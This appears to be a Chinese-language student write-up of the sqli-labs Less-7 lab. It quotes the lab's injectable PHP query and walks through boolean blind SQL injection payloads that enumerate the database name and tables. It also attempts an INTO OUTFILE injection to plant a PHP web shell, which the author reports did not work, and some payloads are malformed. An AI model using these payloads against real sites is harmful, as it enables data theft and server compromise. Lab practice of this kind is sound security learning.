上来输入?id=1“正常回显

看源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// connectivity 


$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

if($row)
{
echo '<font color= "#FFFF00">';
echo 'You are in.... Use outfile......';
echo "<br>";
echo "</font>";
}
else
{
echo '<font color= "#FFFF00">';
echo 'You have an error in your SQL syntax';
//print_r(mysql_error());
echo "</font>";
}
}
else { echo "Please input the ID as parameter with numeric value";}

?>
</font> </div></br></br></br><center>
<img src="../images/Less-7.jpg" /></center>
</body>
</html>

(只截取了后半部分)

这里与之前不同的是

1
2
echo 'You have an error in your SQL syntax';
//print_r(mysql_error());

注释掉了mysql_error,所以mysql语法错误不会被显示,所以就不能使用报错注入。

(wp说使用布尔盲注)

布尔盲注

使用条件:只有登陆成功和登录失败两种情况

盲注步骤:

  1. 使用 length()函数 判断查询结果的长度
  2. 使用 substr()函数 截取每一个字符,并穷举出字符内容

https://blog.csdn.net/wangyuxiang946/article/details/123486880

回到原题

1
?id=1')) and 1=2 --+

回显错误,所以判断是布尔型注入,格式是?id=1’))语句–+

猜测数据库长度

1
2
3
....
?id=1') ) and (length(database())>7) --+
?id=1') ) and (length(database())>8) --+

这里>7的时候正常回显,>8则报错,所以判断数据库的长度是8位

后面是猜数据库名

1
2
http://127.0.0.2:777/Less-7/
?id=1')) and (substr(database(),1,1) = 's')--+

显示是

1
You are in.... Use outfile......
1
2
3
http://127.0.0.2:777/Less-7/
?id=1')) and (substr(database(),2,1) = 'e')--+
.......

就这样一直猜,最后猜出来是”security”

1
2
3
4
5
6
7
8
9
1、查询表名字段数
?id=1') ) and (length(substr(select table_name from information_schema.tables where table_schema= 'security' limit 0,1))>1) --+
......
2、查询表名
?id=1') ) and (ascii(substr((select table_name from information_schema.tables where table_schema = 'security' limit 0,1),1,1))>1) --+
>>省略n步
?id=1') ) and (ascii(substr((select table_name from information_schema.tables where table_schema = 'security' limit 0,1),1,1))>100) --+
?id=1') ) and (ascii(substr((select table_name from information_schema.tables where table_schema = 'security' limit 0,1),1,1))>101) --+
>>省略n步 查出所有的表

这里没弄出来

换了一个wp,这个说要在服务器上写入文件

http://127.0.0.2:777/Less-7/
?id=1”))union select 1,”“,3 into outfile”D://Ctf//phpStudy_64//phpstudy_pro//WWW//sqli-labs-master//Less-7shell.php” –qwe

输入没问题,但就是不出现shell.php

据说是路径有问题,但我反复尝试了将\改成/,/变成//都不可,就很奇怪

但总的来说就是用一句话木马注入,方法应该没问题